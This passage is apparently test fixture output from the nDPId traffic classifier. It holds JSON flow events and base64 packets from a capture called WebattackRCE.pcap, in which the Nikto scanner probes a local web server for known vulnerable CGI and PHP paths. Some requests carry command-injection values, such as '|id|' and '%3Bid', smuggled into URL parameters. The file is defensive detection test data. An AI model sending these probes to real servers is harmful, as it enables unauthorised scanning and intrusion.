(Evasions:None) (Test:001070)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":536,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":536,"flow_packet_id":1,"flow_first_seen":1576420277537,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50634,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":536,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":536,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":537718,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIaaFAAEAG0ox\/AAABfwAAAcXKH5CUxlF4c7zrSYAYAED+vAAAAQEICp1m\/kmdZv5JR0VUIC9jZ2ktYmluL3dlYmRpc3QuY2dpIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEwNzEpDQoNCg=="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":536,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":536,"flow_packet_id":1,"flow_first_seen":1576420277537,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50634,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cgi-bin\/webdist.cgi","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001071)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":537,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":537,"flow_packet_id":1,"flow_first_seen":1576420277538,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50636,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00640{"flow_id":537,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":537,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":538938,"pkt_caplen":217,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":217,"pkt_l4_len":183,"pkt":"AAAAAAAAAAAAAAAACABFAADL1l9AAEAGZct\/AAABfwAAAcXMH5AhiO62DmMqh4AYAED+vwAAAQEICp1m\/kqdZv5KR0VUIC9EQjRXZWIvMTAuMTAuMTAuMTA6MTAwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEwNzIpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":537,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":537,"flow_packet_id":1,"flow_first_seen":1576420277538,"flow_last_seen":0,"flow_tot_l4_data_len":183,"flow_min_l4_data_len":183,"flow_max_l4_data_len":183,"flow_avg_l4_data_len":183,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50636,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/DB4Web\/10.10.10.10:100","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001072)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":538,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":538,"flow_packet_id":1,"flow_first_seen":1576420277540,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50638,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00645{"flow_id":538,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":538,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":540439,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"AAAAAAAAAAAAAAAACABFAADPftlAAEAGvU1\/AAABfwAAAcXOH5DRSkY\/0jWbSIAYAED+wwAAAQEICp1m\/kydZv5MR0VUIC9ld3MvZXdzL2FyY2hpdGV4dF9xdWVyeS5wbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMDczKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00777{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":538,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":538,"flow_packet_id":1,"flow_first_seen":1576420277540,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50638,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/ews\/ews\/architext_query.pl","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001073)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":539,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":539,"flow_packet_id":1,"flow_first_seen":1576420277543,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50640,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":539,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":539,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":543080,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADI031AAEAGaLB\/AAABfwAAAcXQH5AqpOuTqUte6oAYAED+vAAAAQEICp1m\/k+dZv5OR0VUIC9leGVjL3Nob3cvY29uZmlnL2NyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMDc0KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":539,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":539,"flow_packet_id":1,"flow_first_seen":1576420277543,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50640,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/exec\/show\/config\/cr","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001074)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":540,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":540,"flow_packet_id":1,"flow_first_seen":1576420277544,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50642,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00644{"flow_id":540,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":540,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":544533,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"pkt":"AAAAAAAAAAAAAAAACABFAADPHndAAEAGHbB\/AAABfwAAAcXSH5BxSyag9dSEBYAYAED+wwAAAQEICp1m\/lCdZv5QR0VUIC9pbnN0YW50d2VibWFpbC9tZXNzYWdlLnBocCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTA3NSkNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00776{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":540,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":540,"flow_packet_id":1,"flow_first_seen":1576420277544,"flow_last_seen":0,"flow_tot_l4_data_len":187,"flow_min_l4_data_len":187,"flow_max_l4_data_len":187,"flow_avg_l4_data_len":187,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50642,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/instantwebmail\/message.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001075)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":541,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":541,"flow_packet_id":1,"flow_first_seen":1576420277546,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50644,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00656{"flow_id":541,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":541,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":546020,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"AAAAAAAAAAAAAAAACABFAADZI0FAAEAGGNx\/AAABfwAAAcXUH5D0qBvWdLImZ4AYAED+zQAAAQEICp1m\/lGdZv5RR0VUIC9jZmRvY3Mvc25pcHBldHMvZ2V0dGVtcGRpcmVjdG9yeS5jZm0gSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDEwNzYpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":541,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":541,"flow_packet_id":1,"flow_first_seen":1576420277546,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50644,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/cfdocs\/snippets\/gettempdirectory.cfm","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001076)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":542,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":542,"flow_packet_id":1,"flow_first_seen":1576420277547,"flow_last_seen":0,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":191,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":191,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50646,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00648{"flow_id":542,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":542,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":547962,"pkt_caplen":225,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":225,"pkt_l4_len":191,"pkt":"AAAAAAAAAAAAAAAACABFAADT6e9AAEAGUjN\/AAABfwAAAcXWH5DaBdEHtMEbgIAYAED+xwAAAQEICp1m\/lOdZv5TR0VUIC9kb3N0dWZmLnBocD9hY3Rpb249bW9kaWZ5X3VzZXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OjAwMTA5MSkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00779{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":542,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":542,"flow_packet_id":1,"flow_first_seen":1576420277547,"flow_last_seen":0,"flow_tot_l4_data_len":191,"flow_min_l4_data_len":191,"flow_max_l4_data_len":191,"flow_avg_l4_data_len":191,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50646,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/dostuff.php?action=modify_user","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001091)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":543,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":543,"flow_packet_id":1,"flow_first_seen":1576420277549,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50648,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00636{"flow_id":543,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":543,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":549570,"pkt_caplen":214,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":214,"pkt_l4_len":180,"pkt":"AAAAAAAAAAAAAAAACABFAADIKVFAAEAGEt1\/AAABfwAAAcXYH5AE3RGlWDKVx4AYAED+vAAAAQEICp1m\/lWdZv5VR0VUIC9sb2dqYW0vc2hvd2hpdHMucGhwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMTU3KQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00769{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":543,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":543,"flow_packet_id":1,"flow_first_seen":1576420277549,"flow_last_seen":0,"flow_tot_l4_data_len":180,"flow_min_l4_data_len":180,"flow_max_l4_data_len":180,"flow_avg_l4_data_len":180,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50648,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/logjam\/showhits.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001157)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":544,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":544,"flow_packet_id":1,"flow_first_seen":1576420277550,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50650,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":544,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":544,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":550951,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"AAAAAAAAAAAAAAAACABFAAC\/wwtAAEAGeSt\/AAABfwAAAcXaH5CLi\/vjqeJa6IAYAED+swAAAQEICp1m\/ladZv5WR0VUIC9tYW51YWwucGhwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDExNTgpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00759{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":544,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":544,"flow_packet_id":1,"flow_first_seen":1576420277550,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50650,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/manual.php","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001158)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":545,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":545,"flow_packet_id":1,"flow_first_seen":1576420277552,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50652,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00656{"flow_id":545,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":545,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":552259,"pkt_caplen":231,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":231,"pkt_l4_len":197,"pkt":"AAAAAAAAAAAAAAAACABFAADZ8pVAAEAGSYd\/AAABfwAAAcXcH5AUWcqAeMmTFYAYAED+zQAAAQEICp1m\/lidZv5YR0VUIC9tb2RzL2FwYWdlL2FwYWdlLmNnaT9mPWZpbGUuaHRtLnxpZHwgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDExNTkpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00787{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":545,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":545,"flow_packet_id":1,"flow_first_seen":1576420277552,"flow_last_seen":0,"flow_tot_l4_data_len":197,"flow_min_l4_data_len":197,"flow_max_l4_data_len":197,"flow_avg_l4_data_len":197,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50652,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/mods\/apage\/apage.cgi?f=file.htm.|id|","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001159)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":546,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":546,"flow_packet_id":1,"flow_first_seen":1576420277553,"flow_last_seen":0,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":230,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":230,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50654,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00700{"flow_id":546,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":546,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":553594,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"AAAAAAAAAAAAAAAACABFAAD6YiVAAEAG2dZ\/AAABfwAAAcXeH5DIEFrQ9+zWrIAYAED+7gAAAQEICp1m\/lmdZv5ZR0VUIC9tb2R1bGVzLnBocD9uYW1lPU5ldHdvcmtfVG9vbHMmZmlsZT1pbmRleCZmdW5jPXBpbmdfaG9zdCZoaW5wdXQ9JTNCaWQgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDowMDExNjApDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00818{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":546,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":546,"flow_packet_id":1,"flow_first_seen":1576420277553,"flow_last_seen":0,"flow_tot_l4_data_len":230,"flow_min_l4_data_len":230,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":230,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50654,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001160)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":547,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":547,"flow_packet_id":1,"flow_first_seen":1576420277554,"flow_last_seen":0,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":235,"flow_max_l4_data_len":235,"flow_avg_l4_data_len":235,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50656,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00709{"flow_id":547,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":547,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":554859,"pkt_caplen":269,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":269,"pkt_l4_len":235,"pkt":"AAAAAAAAAAAAAAAACABFAAD\/xMZAAEAGdzB\/AAABfwAAAcXgH5A8ZfwprHRx4oAYAED+8wAAAQEICp1m\/lqdZv5aR0VUIC9udWtlL21vZHVsZXMucGhwP25hbWU9TmV0d29ya19Ub29scyZmaWxlPWluZGV4JmZ1bmM9cGluZ19ob3N0JmhpbnB1dD0lM0JpZCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6MDAxMTYxKQ0KDQo="} +00824{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":547,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":547,"flow_packet_id":1,"flow_first_seen":1576420277554,"flow_last_seen":0,"flow_tot_l4_data_len":235,"flow_min_l4_data_len":235,"flow_max_l4_data_len":235,"flow_avg_l4_data_len":235,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50656,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/nuke\/modules.php?name=Network_Tools&file=index&func=ping_host&hinput=%3Bid","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:001161)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":548,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":548,"flow_packet_id":1,"flow_first_seen":1576420277556,"flow_last_seen":0,"flow_tot_l4_data_len":206,"flow_min_l4_data_len":206,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":206,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50658,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 